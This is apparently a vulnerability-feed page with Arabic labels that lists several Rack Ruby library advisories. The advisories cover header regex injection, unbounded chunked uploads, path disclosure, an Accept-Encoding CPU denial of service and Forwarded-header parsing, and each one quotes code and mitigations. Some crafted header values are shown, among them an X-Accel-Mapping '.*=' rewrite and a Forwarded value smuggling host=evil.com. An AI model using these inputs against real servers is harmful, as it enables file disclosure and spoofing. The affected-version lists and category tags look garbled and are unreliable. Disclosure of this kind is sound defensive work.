## Summary `Rack::Files#fail` sets the `Content-Length` response header using `String#size` instead of `String#bytesize`. When the response body contains multibyte UTF-8 characters, the declared `Content-Length` is smaller than the number of bytes actually sent on the wire. Because `Rack::Files` reflects the requested path in 404 responses, an attacker can trigger this mismatch by requesting a non-existent path containing percent-encoded UTF-8 characters. This results in incorrect HTTP response framing and may cause response desynchronization in deployments that rely on the incorrect `Content-Length` value. ## Details `Rack::Files#fail` constructs error responses using logic equivalent to: ```ruby def fail(status, body, headers = {}) body += "\n" [ status, { "content-type" => "text/plain", "content-length" => body.size.to_s, "x-cascade" => "pass" }.merge!(headers), [body] ] end ``` Here, `body.size` returns the number of characters, not the number of bytes. For multibyte UTF-8 strings, this produces an incorrect `Content-Length` value. `Rack::Files` includes the decoded request path in 404 responses. A request containing percent-encoded UTF-8 path components therefore causes the response body to contain multibyte characters, while the `Content-Length` header still reflects character count rather than byte count. As a result, the server can send more bytes than declared in the response headers. This violates HTTP message framing requirements, which define `Content-Length` as the number of octets in the message body. ## Impact Applications using `Rack::Files` may emit incorrectly framed error responses when handling requests for non-existent paths containing multibyte characters. In some deployment topologies, particularly with keep-alive connections and intermediaries that rely on `Content-Length`, this mismatch may lead to response parsing inconsistencies or response desynchronization. The practical exploitability depends on the behavior of downstream proxies, clients, and connection reuse. Even where no secondary exploitation is possible, the response is malformed and may trigger protocol errors in strict components. ## Mitigation * Update to a patched version of Rack that computes `Content-Length` using `String#bytesize`. * Avoid exposing `Rack::Files` directly to untrusted traffic until a fix is available, if operationally feasible. * Where possible, place Rack behind a proxy or server that normalizes or rejects malformed backend responses. * Prefer closing backend connections on error paths if response framing anomalies are a concern.

الإصدارات المتأثرة

All versions < 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.9.0

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

غير محدد
📦 rack 📌 All versions < 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.9.0 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary `Rack::Sendfile#map_accel_path` interpolates the value of the `X-Accel-Mapping` request header directly into a regular expression when rewriting file paths for `X-Accel-Redirect`. Because the header value is not escaped, an attacker who can supply `X-Accel-Mapping` to...
📅 2026-04-02 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

## Summary `Rack::Sendfile#map_accel_path` interpolates the value of the `X-Accel-Mapping` request header directly into a regular expression when rewriting file paths for `X-Accel-Redirect`. Because the header value is not escaped, an attacker who can supply `X-Accel-Mapping` to the backend can inject regex metacharacters and control the generated `X-Accel-Redirect` response header. In deployments using `Rack::Sendfile` with `x-accel-redirect`, this can allow an attacker to cause nginx to serve unintended files from configured internal locations. ## Details `Rack::Sendfile#map_accel_path` processes header-supplied mappings using logic equivalent to: ```ruby mapping.split(',').map(&:strip).each do |m| internal, external = m.split('=', 2).map(&:strip) new_path = path.sub(/\A#{internal}/i, external) return new_path unless path == new_path end ``` Here, `internal` comes from the `HTTP_X_ACCEL_MAPPING` request header and is inserted directly into a regular expression without escaping. This gives the header value regex semantics rather than treating it as a literal prefix. As a result, an attacker can supply metacharacters such as `.*` or capture groups to alter how the path substitution is performed. For example, a mapping such as: ```http X-Accel-Mapping: .*=/protected/secret.txt ``` causes the entire source path to match and rewrites the redirect target to a clean attacker-chosen internal path. This differs from the documented behavior of the header-based mapping path, which is described as a simple substitution. While application-supplied mappings may intentionally support regular expressions, header-supplied mappings should be treated as literal path prefixes. The issue is only exploitable when untrusted `X-Accel-Mapping` headers can reach Rack. One realistic case is a reverse proxy configuration that intends to set `X-Accel-Mapping` itself, but fails to do so on some routes, allowing a client-supplied header to pass through unchanged. ## Impact Applications using `Rack::Sendfile` with `x-accel-redirect` may be affected if the backend accepts attacker-controlled `X-Accel-Mapping` headers. In affected deployments, an attacker may be able to control the `X-Accel-Redirect` response header and cause nginx to serve files from internal locations that were not intended to be reachable through the application. This can lead to unauthorized file disclosure. The practical impact depends on deployment architecture. If the proxy always strips or overwrites `X-Accel-Mapping`, or if the application uses explicit configured mappings instead of the request header, exploitability may be eliminated. ## Mitigation * Update to a patched version of Rack that treats header-supplied `X-Accel-Mapping` values as literal strings rather than regular expressions. * Strip or overwrite inbound `X-Accel-Mapping` headers at the reverse proxy so client-supplied values never reach Rack. * Prefer explicit application-configured sendfile mappings instead of relying on request-header mappings. * Review proxy sub-locations and inherited header settings to ensure `X-Accel-Mapping` is consistently set on all backend routes.

الإصدارات المتأثرة

All versions < 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.9.0

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

عالية
📦 rack 📌 All versions < 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.9.0 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary `Rack::Multipart::Parser` only wraps the request body in a `BoundedIO` when `CONTENT_LENGTH` is present. When a `multipart/form-data` request is sent without a `Content-Length` header, such as with HTTP chunked transfer encoding, multipart parsing continues until end-...
📅 2026-04-02 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

## Summary `Rack::Multipart::Parser` only wraps the request body in a `BoundedIO` when `CONTENT_LENGTH` is present. When a `multipart/form-data` request is sent without a `Content-Length` header, such as with HTTP chunked transfer encoding, multipart parsing continues until end-of-stream with no total size limit. For file parts, the uploaded body is written directly to a temporary file on disk rather than being constrained by the buffered in-memory upload limit. An unauthenticated attacker can therefore stream an arbitrarily large multipart file upload and consume unbounded disk space. This results in a denial of service condition for Rack applications that accept multipart form data. ## Details `Rack::Multipart::Parser.parse` applies `BoundedIO` only when `content_length` is not `nil`: ```ruby io = BoundedIO.new(io, content_length) if content_length ``` When `CONTENT_LENGTH` is absent, the parser reads the multipart body until EOF without a global byte limit. Although Rack enforces `BUFFERED_UPLOAD_BYTESIZE_LIMIT` for retained non-file parts, file uploads are handled differently. When a multipart part includes a filename, the body is streamed to a `Tempfile`, and the retained-size accounting is not applied to that file content. As a result, file parts are not subject to the same upload size bound. An attacker can exploit this by sending a chunked `multipart/form-data` request containing a file part and continuously streaming data without declaring a `Content-Length`. Rack will continue writing the uploaded data to disk until the client stops or the server exhausts available storage. ## Impact Any Rack application that accepts `multipart/form-data` uploads may be affected if no upstream component enforces a request body size limit. An unauthenticated attacker can send a large chunked file upload to consume disk space on the application host. This may cause request failures, application instability, or broader service disruption if the host runs out of available storage. The practical impact depends on deployment architecture. Reverse proxies or application servers that enforce upload limits may reduce or eliminate exploitability, but Rack itself does not impose a total multipart upload limit in this code path when `CONTENT_LENGTH` is absent. ## Mitigation * Update to a patched version of Rack that enforces a total multipart upload size limit even when `CONTENT_LENGTH` is absent. * Enforce request body size limits at the reverse proxy or application server. * Isolate temporary upload storage and monitor disk consumption for multipart endpoints.

الإصدارات المتأثرة

All versions < 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.9.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

غير محدد
📦 rack 📌 All versions < 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.9.0 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary `Rack::Directory` interpolates the configured `root` path directly into a regular expression when deriving the displayed directory path. If `root` contains regex metacharacters such as `+`, `*`, or `.`, the prefix stripping can fail and the generated directory listing...
📅 2026-04-02 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

## Summary `Rack::Directory` interpolates the configured `root` path directly into a regular expression when deriving the displayed directory path. If `root` contains regex metacharacters such as `+`, `*`, or `.`, the prefix stripping can fail and the generated directory listing may expose the full filesystem path in the HTML output. ## Details `Rack::Directory::DirectoryBody#each` computes the visible path using code equivalent to: ```ruby show_path = Utils.escape_html(path.sub(/\A#{root}/, '')) ``` Here, `root` is a developer-configured filesystem path. It is normalized earlier with `File.expand_path(root)` and then inserted directly into a regular expression without escaping. Because the value is treated as regex syntax rather than as a literal string, metacharacters in the configured path can change how the prefix match behaves. When that happens, the expected root prefix is not removed from `path`, and the absolute filesystem path is rendered into the HTML directory listing. ## Impact If `Rack::Directory` is configured to serve a directory whose absolute path contains regex metacharacters, the generated directory listing may disclose the full server filesystem path instead of only the request-relative path. This can expose internal deployment details such as directory layout, usernames, mount points, or naming conventions that would otherwise not be visible to clients. ## Mitigation * Update to a patched version of Rack in which the root prefix is removed using an escaped regular expression. * Avoid using `Rack::Directory` with a root path that contains regular expression metacharacters.

الإصدارات المتأثرة

All versions < 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.9.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

غير محدد
📦 rack 📌 All versions < 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.9.0 🎬 وسائط 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary `Rack::Utils.select_best_encoding` processes `Accept-Encoding` values with quadratic time complexity when the header contains many wildcard (`*`) entries. Because this method is used by `Rack::Deflater` to choose a response encoding, an unauthenticated attacker can se...
📅 2026-04-02 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

## Summary `Rack::Utils.select_best_encoding` processes `Accept-Encoding` values with quadratic time complexity when the header contains many wildcard (`*`) entries. Because this method is used by `Rack::Deflater` to choose a response encoding, an unauthenticated attacker can send a single request with a crafted `Accept-Encoding` header and cause disproportionate CPU consumption on the compression middleware path. This results in a denial of service condition for applications using `Rack::Deflater`. ## Details `Rack::Utils.select_best_encoding` expands parsed `Accept-Encoding` values into a list of candidate encodings. When an entry is `*`, the method computes the set of concrete encodings by subtracting the encodings already present in the request: ```ruby if m == "*" (available_encodings - accept_encoding.map(&:first)).each do |m2| expanded_accept_encoding << [m2, q, preference] end else expanded_accept_encoding << [m, q, preference] end ``` Because `accept_encoding.map(&:first)` is evaluated inside the loop, it is recomputed for each wildcard entry. If the request contains `N` wildcard entries, this produces repeated scans over the full parsed header and causes quadratic behavior. After expansion, the method also performs additional work over `expanded_accept_encoding`, including per-entry deletion, which further increases the cost for large inputs. `Rack::Deflater` invokes this method for each request when the middleware is enabled: ```ruby Utils.select_best_encoding(ENCODINGS, Utils.parse_encodings(accept_encoding)) ``` As a result, a client can trigger this expensive code path simply by sending a large `Accept-Encoding` header containing many repeated wildcard values. For example, a request with an approximately 8 KB `Accept-Encoding` header containing about 1,000 `*;q=0.5` entries can cause roughly 170 ms of CPU time in a single request on the `Rack::Deflater` path, compared to a negligible baseline for a normal header. This issue is distinct from CVE-2024-26146. That issue concerned regular expression denial of service during `Accept` header parsing, whereas this issue arises later during encoding selection after the header has already been parsed. ## Impact Any Rack application using `Rack::Deflater` may be affected. An unauthenticated attacker can send requests with crafted `Accept-Encoding` headers to trigger excessive CPU usage in the encoding selection logic. Repeated requests can consume worker time disproportionately and reduce application availability. The attack does not require invalid HTTP syntax or large payload bodies. A single header-sized request is sufficient to reach the vulnerable code path. ## Mitigation * Update to a patched version of Rack in which encoding selection does not repeatedly rescan the parsed header for wildcard entries. * Avoid enabling `Rack::Deflater` on untrusted traffic. * Apply request filtering or header size / format restrictions at the reverse proxy or application boundary to limit abusive `Accept-Encoding` values.

الإصدارات المتأثرة

All versions < 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.9.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

غير محدد
📦 rack 📌 3.0.0, 3.0.0.beta1, 3.0.0.rc1, 3.0.1, 3.0.10 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary `Rack::Utils.forwarded_values` parses the RFC 7239 `Forwarded` header by splitting on semicolons before handling quoted-string values. Because quoted values may legally contain semicolons, a header such as: ```http Forwarded: for="127.0.0.1;host=evil.com;proto=https"...
📅 2026-04-02 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

## Summary `Rack::Utils.forwarded_values` parses the RFC 7239 `Forwarded` header by splitting on semicolons before handling quoted-string values. Because quoted values may legally contain semicolons, a header such as: ```http Forwarded: for="127.0.0.1;host=evil.com;proto=https" ``` can be interpreted by Rack as multiple `Forwarded` directives rather than as a single quoted `for` value. In deployments where an upstream proxy, WAF, or intermediary validates or preserves quoted `Forwarded` values differently, this discrepancy can allow an attacker to smuggle `host`, `proto`, `for`, or `by` parameters through a single header value. ## Details `Rack::Utils.forwarded_values` processes the header using logic equivalent to: ```ruby forwarded_header.split(';').each_with_object({}) do |field, values| field.split(',').each do |pair| pair = pair.split('=').map(&:strip).join('=') return nil unless pair =~ /\A(by|for|host|proto)="?([^"]+)"?\Z/i (values[$1.downcase.to_sym] ||= []) << $2 end end ``` The method splits on `;` before it parses individual `name=value` pairs. This is inconsistent with RFC 7239, which permits quoted-string values, and quoted strings may contain semicolons as literal content. As a result, a header value such as: ```http Forwarded: for="127.0.0.1;host=evil.com;proto=https" ``` is not treated as a single `for` value. Instead, Rack may interpret it as if the client had supplied separate `for`, `host`, and `proto` directives. This creates an interpretation conflict when another component in front of Rack treats the quoted value as valid literal content, while Rack reparses it as multiple forwarding parameters. ## Impact Applications that rely on `Forwarded` to derive request metadata may observe attacker-controlled values for `host`, `proto`, `for`, or related URL components. In affected deployments, this can lead to host or scheme spoofing in derived values such as `req.host`, `req.scheme`, `req.base_url`, or `req.url`. Applications that use those values for password reset links, redirects, absolute URL generation, logging, IP-based decisions, or backend requests may be vulnerable to downstream security impact. The practical security impact depends on deployment architecture. If clients can already supply arbitrary trusted `Forwarded` parameters directly, this bug may not add meaningful attacker capability. The issue is most relevant where an upstream component and Rack interpret the same `Forwarded` header differently. ## Mitigation * Update to a patched version of Rack that parses `Forwarded` quoted-string values before splitting on parameter delimiters. * Avoid trusting client-supplied `Forwarded` headers unless they are normalized or regenerated by a trusted reverse proxy. * Prefer stripping inbound `Forwarded` headers at the edge and reconstructing them from trusted proxy metadata. * Avoid using `req.host`, `req.scheme`, `req.base_url`, or `req.url` for security-sensitive operations unless the forwarding chain is explicitly trusted and validated.

الإصدارات المتأثرة

3.0.0, 3.0.0.beta1, 3.0.0.rc1, 3.0.1, 3.0.10

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N